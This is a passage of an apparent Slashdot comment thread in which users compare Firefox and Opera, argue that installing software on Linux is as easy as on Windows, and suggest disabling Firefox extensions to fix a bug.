    Moderator hint: a comment is neither "Flamebait" nor "Troll" if it is true.
  46. Re:A week too late by LupusUF · · Score: 4, Informative

    while I am using Opera right now (I downloaded it back when they had the party where they gave away free codes), I doubt I will keep it. While some pages that didn't work for firefox do work for Opera, I have noticed the oposite as well...and the pages that don't work for Opera are more important to me than the ones that don't work for firefox. Opera has also crashed on me several times, and I have never had a problem with firefox crashing.

    I honestly don't care about the whole open source thing. I don't have a problem with companies keeping their source private. Hell, they wrote it. However, it seems to me that firefox is simply a better product that either IE or Opera.

  47. Re:Don't use your distro tools to install it... by shaitand · · Score: 2, Insightful

    This is a pretty serious troll. There is no install on windows, install shield or otherwise that you can install with a double click. The double-click starts the installer, then you answer a series of questions. Afterward, you configure the app manually.

    On linux you apt-get install app or select it and then click install in synaptic. Then configure the app manually. For many things you can simply run appname-configure afterward to configure.

    In case you haven't noticed, the processes are mostly the same, except that linux does not require you to answer the string of questions.

  48. Re:A little bug it didn't fix: by jesser · · Score: 2, Informative

    If you have any extensions installed, try disabling them and see if that fixes the problem.

    --
    The shareholder is always right.